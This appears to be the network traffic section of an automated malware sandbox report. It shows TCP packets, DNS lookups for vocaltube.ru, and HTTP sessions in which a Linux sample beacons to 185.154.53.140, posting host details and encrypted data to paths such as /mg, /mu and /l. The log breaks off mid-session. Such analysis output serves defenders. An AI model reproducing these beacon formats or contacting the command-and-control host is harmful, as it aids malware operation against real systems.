                                                Nov 29, 2023 18:00:29.985768080 CET52196443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:29.985785007 CET44352196185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:29.987509966 CET52196443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:29.987521887 CET44352196185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:29.990869999 CET44352194185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:29.990938902 CET52194443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:29.991767883 CET44352196185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:29.991832972 CET52196443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:29.993077993 CET52194443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:29.993088961 CET44352194185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:29.997608900 CET52194443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:29.997617006 CET44352194185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:29.998297930 CET52196443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:29.998471975 CET44352196185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:29.998524904 CET52196443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:29.998558998 CET44352196185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:29.998615026 CET52196443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.001466990 CET52196443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.002244949 CET44352194185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.002295017 CET52194443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.007158995 CET52194443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.007339954 CET44352194185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.007385015 CET52194443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.007411957 CET44352194185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.007452011 CET52194443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.007569075 CET44352192185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.007633924 CET52192443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.009648085 CET52194443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.012285948 CET52192443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.012299061 CET44352192185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.013802052 CET52192443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.013809919 CET44352192185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.017400026 CET44352192185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.017458916 CET52192443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.021234035 CET52192443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.021421909 CET44352192185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.021495104 CET52192443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.021506071 CET44352192185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.021544933 CET52192443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.023416042 CET52192443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.045253992 CET44352196185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.053258896 CET44352194185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.065274000 CET44352192185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.356967926 CET44352196185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.357053041 CET52196443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.357086897 CET44352196185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.357146978 CET52196443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.357151985 CET44352196185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.361088037 CET5119080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.361221075 CET52196443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.361274004 CET44352196185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.367851019 CET44352194185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.367908001 CET52194443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.367918968 CET44352194185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.367963076 CET44352194185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.368002892 CET52194443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.371673107 CET5119280192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.374313116 CET52194443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.374335051 CET44352194185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.380609989 CET44352192185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.380676985 CET52192443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.380695105 CET44352192185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.380706072 CET44352192185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.380763054 CET52192443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.383841038 CET52192443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.383860111 CET44352192185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.717139959 CET8051190185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.717806101 CET5119080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.732667923 CET8051192185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:30.732713938 CET5119080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.733254910 CET5119280192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.771353006 CET5119280192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.786998034 CET5119080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:30.803013086 CET5119280192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:31.089004993 CET8051190185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:31.089024067 CET8051190185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:31.089155912 CET5119080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:31.097130060 CET5119080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:31.132487059 CET8051192185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:31.132596016 CET8051192185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:31.132646084 CET5119280192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:31.142932892 CET8051190185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:31.143023014 CET5119080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:31.149688005 CET5119280192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:31.164151907 CET8051192185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:31.164222956 CET5119280192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:31.226550102 CET52204443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:31.226677895 CET44352204185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:31.226810932 CET52204443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:31.227072001 CET52202443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:31.227148056 CET44352202185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:31.228375912 CET52202443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:31.237934113 CET52204443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:31.237968922 CET44352204185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:31.239309072 CET52202443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:31.239326954 CET44352202185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:31.453437090 CET8051190185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:31.510782003 CET8051192185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.322993040 CET44352204185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.323467970 CET52204443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.326220989 CET52204443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.326246977 CET44352204185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.327399015 CET52204443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.327413082 CET44352204185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.331545115 CET44352204185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.331614971 CET52204443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.335189104 CET52204443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.335556984 CET44352204185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.335640907 CET52204443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.335766077 CET44352204185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.335818052 CET52204443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.336080074 CET44352202185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.336127996 CET52202443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.338567972 CET52204443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.339179039 CET52202443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.339184999 CET44352202185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.340881109 CET52202443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.340884924 CET44352202185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.342349052 CET44352202185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.342397928 CET52202443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.346654892 CET52202443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.346733093 CET44352202185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.346786976 CET52202443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.346791029 CET44352202185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.346823931 CET52202443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.348694086 CET52202443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.381258965 CET44352204185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.389292955 CET44352202185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.693715096 CET44352204185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.693911076 CET44352204185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.694128990 CET52204443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.709803104 CET44352202185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.709846973 CET52202443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.709861040 CET44352202185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.709893942 CET52202443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.709903955 CET44352202185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.711981058 CET52204443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.712061882 CET44352204185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:32.712794065 CET5119880192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.713119030 CET52202443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:32.713135004 CET44352202185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:33.076740026 CET8051198185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:33.076984882 CET5119880192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:33.079065084 CET5119880192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:33.443747044 CET8051198185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:33.443870068 CET8051198185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:33.443901062 CET8051198185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:33.444087982 CET5119880192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:33.445409060 CET5119880192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:33.542900085 CET52208443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:33.542988062 CET44352208185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:33.543056965 CET52208443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:33.544389009 CET52208443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:33.544420958 CET44352208185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:33.809137106 CET8051198185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:34.638588905 CET44352208185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:34.638942003 CET52208443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:34.640566111 CET52208443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:34.640588045 CET44352208185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:34.642119884 CET52208443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:34.642138958 CET44352208185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:34.643733978 CET44352208185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:34.643811941 CET52208443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:34.648399115 CET52208443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:34.648530006 CET44352208185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:34.648571014 CET52208443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:34.648583889 CET44352208185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:34.648619890 CET52208443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:34.650907040 CET52208443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:34.697264910 CET44352208185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:35.011297941 CET44352208185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:35.011475086 CET44352208185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:35.011487007 CET52208443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:35.014795065 CET4502880192.168.2.23212.22.77.79
                                                Nov 29, 2023 18:00:35.015073061 CET52208443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:35.015139103 CET44352208185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:35.985771894 CET5120480192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:36.029416084 CET4502880192.168.2.23212.22.77.79
                                                Nov 29, 2023 18:00:36.345650911 CET8051204185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:36.345799923 CET5120480192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:36.347754002 CET5120480192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:36.349129915 CET5120480192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:36.707207918 CET8051204185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:36.707231998 CET8051204185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:36.707359076 CET5120480192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:36.708435059 CET8051204185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:36.709487915 CET5120480192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:36.806835890 CET52214443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:36.806883097 CET44352214185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:36.806962967 CET52214443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:36.808967113 CET52214443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:36.808990002 CET44352214185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:37.068885088 CET8051204185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:37.893503904 CET44352214185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:37.893779039 CET52214443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:37.895829916 CET52214443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:37.895857096 CET44352214185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:37.897886992 CET52214443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:37.897902966 CET44352214185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:37.899374008 CET44352214185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:37.899461031 CET52214443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:37.906920910 CET52214443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:37.907104015 CET44352214185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:37.907166958 CET52214443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:37.907185078 CET44352214185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:37.907237053 CET52214443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:37.908957958 CET52214443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:37.953278065 CET44352214185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:38.045043945 CET4502880192.168.2.23212.22.77.79
                                                Nov 29, 2023 18:00:38.266189098 CET44352214185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:38.266377926 CET44352214185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:38.266379118 CET52214443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:38.269850016 CET52214443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:38.269887924 CET44352214185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:42.108606100 CET4502880192.168.2.23212.22.77.79
                                                Nov 29, 2023 18:00:50.299640894 CET4502880192.168.2.23212.22.77.79
                                                TimestampSource PortDest PortSource IPDest IP
                                                Nov 29, 2023 17:59:58.802834034 CET5544153192.168.2.238.8.8.8
                                                Nov 29, 2023 17:59:58.803575993 CET4436553192.168.2.238.8.8.8
                                                Nov 29, 2023 17:59:58.911514044 CET53443658.8.8.8192.168.2.23
                                                Nov 29, 2023 17:59:59.031613111 CET53554418.8.8.8192.168.2.23
                                                Nov 29, 2023 18:00:02.629540920 CET3837153192.168.2.238.8.8.8
                                                Nov 29, 2023 18:00:02.850317001 CET53383718.8.8.8192.168.2.23
                                                Nov 29, 2023 18:00:05.046999931 CET5577053192.168.2.238.8.8.8
                                                Nov 29, 2023 18:00:05.140968084 CET53557708.8.8.8192.168.2.23
                                                Nov 29, 2023 18:00:07.353355885 CET5067653192.168.2.238.8.8.8
                                                Nov 29, 2023 18:00:07.459322929 CET53506768.8.8.8192.168.2.23
                                                Nov 29, 2023 18:00:09.661288977 CET3309253192.168.2.238.8.8.8
                                                Nov 29, 2023 18:00:09.756412029 CET53330928.8.8.8192.168.2.23
                                                Nov 29, 2023 18:00:11.950664043 CET4148653192.168.2.238.8.8.8
                                                Nov 29, 2023 18:00:12.200902939 CET53414868.8.8.8192.168.2.23
                                                Nov 29, 2023 18:00:14.392560959 CET3817253192.168.2.238.8.8.8
                                                Nov 29, 2023 18:00:14.485933065 CET53381728.8.8.8192.168.2.23
                                                Nov 29, 2023 18:00:28.778932095 CET4029853192.168.2.238.8.8.8
                                                Nov 29, 2023 18:00:28.872431993 CET53402988.8.8.8192.168.2.23
                                                Nov 29, 2023 18:00:31.102813959 CET5107553192.168.2.238.8.8.8
                                                Nov 29, 2023 18:00:31.196296930 CET53510758.8.8.8192.168.2.23
                                                Nov 29, 2023 18:00:33.447529078 CET3786953192.168.2.238.8.8.8
                                                Nov 29, 2023 18:00:33.540978909 CET53378698.8.8.8192.168.2.23
                                                Nov 29, 2023 18:00:36.711891890 CET4281553192.168.2.238.8.8.8
                                                Nov 29, 2023 18:00:36.805310011 CET53428158.8.8.8192.168.2.23

                                                DNS Queries

                                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                Nov 29, 2023 17:59:58.802834034 CET192.168.2.238.8.8.80x36cStandard query (0)vocaltube.ru28IN (0x0001)false
                                                Nov 29, 2023 17:59:58.803575993 CET192.168.2.238.8.8.80xd2e1Standard query (0)vocaltube.ruA (IP address)IN (0x0001)false
                                                Nov 29, 2023 18:00:02.629540920 CET192.168.2.238.8.8.80x3b06Standard query (0)vocaltube.ru28IN (0x0001)false
                                                Nov 29, 2023 18:00:05.046999931 CET192.168.2.238.8.8.80x8884Standard query (0)vocaltube.ru28IN (0x0001)false
                                                Nov 29, 2023 18:00:07.353355885 CET192.168.2.238.8.8.80xc5aStandard query (0)vocaltube.ru28IN (0x0001)false
                                                Nov 29, 2023 18:00:09.661288977 CET192.168.2.238.8.8.80x76c0Standard query (0)vocaltube.ru28IN (0x0001)false
                                                Nov 29, 2023 18:00:11.950664043 CET192.168.2.238.8.8.80x74bfStandard query (0)vocaltube.ru28IN (0x0001)false
                                                Nov 29, 2023 18:00:14.392560959 CET192.168.2.238.8.8.80xb7e6Standard query (0)vocaltube.ru28IN (0x0001)false
                                                Nov 29, 2023 18:00:28.778932095 CET192.168.2.238.8.8.80xef5aStandard query (0)vocaltube.ru28IN (0x0001)false
                                                Nov 29, 2023 18:00:31.102813959 CET192.168.2.238.8.8.80x2825Standard query (0)vocaltube.ru28IN (0x0001)false
                                                Nov 29, 2023 18:00:33.447529078 CET192.168.2.238.8.8.80xf204Standard query (0)vocaltube.ru28IN (0x0001)false
                                                Nov 29, 2023 18:00:36.711891890 CET192.168.2.238.8.8.80x224Standard query (0)vocaltube.ru28IN (0x0001)false

                                                DNS Answers

                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                Nov 29, 2023 17:59:58.911514044 CET8.8.8.8192.168.2.230xd2e1No error (0)vocaltube.ru185.154.53.140A (IP address)IN (0x0001)false

                                                HTTP Request Dependency Graph

                                                • 185.154.53.140
                                                  • vocaltube.ru

                                                HTTP Packets

                                                Session IDSource IPSource PortDestination IPDestination Port
                                                0192.168.2.2351150185.154.53.14080
                                                TimestampBytes transferredDirectionData
                                                Nov 29, 2023 17:59:58.397598028 CET447OUTGET /mg HTTP/1.1
                                                Host: 185.154.53.140
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Connection: close
                                                Arch: arm64
                                                Cores: 2
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                Nov 29, 2023 17:59:58.758219004 CET539INHTTP/1.1 301 Moved Permanently
                                                Server: nginx
                                                Date: Wed, 29 Nov 2023 16:59:58 GMT
                                                Content-Type: text/html
                                                Content-Length: 162
                                                Connection: close
                                                Location: https://vocaltube.ru/mg
                                                Strict-Transport-Security: max-age=31536000
                                                Content-Security-Policy: img-src https: data: blob:; upgrade-insecure-requests
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1192.168.2.2351154185.154.53.14080
                                                TimestampBytes transferredDirectionData
                                                Nov 29, 2023 18:00:02.260802031 CET503OUTPOST /mu HTTP/1.1
                                                Host: 185.154.53.140
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Connection: close
                                                Content-Length: 0
                                                Arch: arm64
                                                Cores: 2
                                                Id: AVlUGnSVaInqKQGUMEBcdUNwlsHekB
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                Nov 29, 2023 18:00:02.624886036 CET539INHTTP/1.1 301 Moved Permanently
                                                Server: nginx
                                                Date: Wed, 29 Nov 2023 17:00:02 GMT
                                                Content-Type: text/html
                                                Content-Length: 162
                                                Connection: close
                                                Location: https://vocaltube.ru/mu
                                                Strict-Transport-Security: max-age=31536000
                                                Content-Security-Policy: img-src https: data: blob:; upgrade-insecure-requests
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                2192.168.2.2351158185.154.53.14080
                                                TimestampBytes transferredDirectionData
                                                Nov 29, 2023 18:00:04.674506903 CET507OUTPOST /l HTTP/1.1
                                                Host: 185.154.53.140
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Connection: close
                                                Content-Length: 58
                                                Arch: arm64
                                                Content-Type: application/octet-stream
                                                Cores: 2
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                Nov 29, 2023 18:00:04.677401066 CET124OUTData Raw: 4f 37 54 58 8d 16 84 29 bb 1e da f6 25 09 b4 11 bb 78 18 86 0e b3 a1 b5 a1 ec 80 1d cb 53 b3 0d 42 8f 34 8a c4 d6 4f 43 e7 3d 87 a2 06 b6 ac e5 ff f4 2c 27 13 e8 71 32 e3 a8
                                                Data Ascii: O7TX)%xSB4OC=,'q2
                                                Nov 29, 2023 18:00:05.037219048 CET538INHTTP/1.1 301 Moved Permanently
                                                Server: nginx
                                                Date: Wed, 29 Nov 2023 17:00:04 GMT
                                                Content-Type: text/html
                                                Content-Length: 162
                                                Connection: close
                                                Location: https://vocaltube.ru/l
                                                Strict-Transport-Security: max-age=31536000
                                                Content-Security-Policy: img-src https: data: blob:; upgrade-insecure-requests
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                3192.168.2.2351162185.154.53.14080
                                                TimestampBytes transferredDirectionData
                                                Nov 29, 2023 18:00:06.985572100 CET507OUTPOST /l HTTP/1.1
                                                Host: 185.154.53.140
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
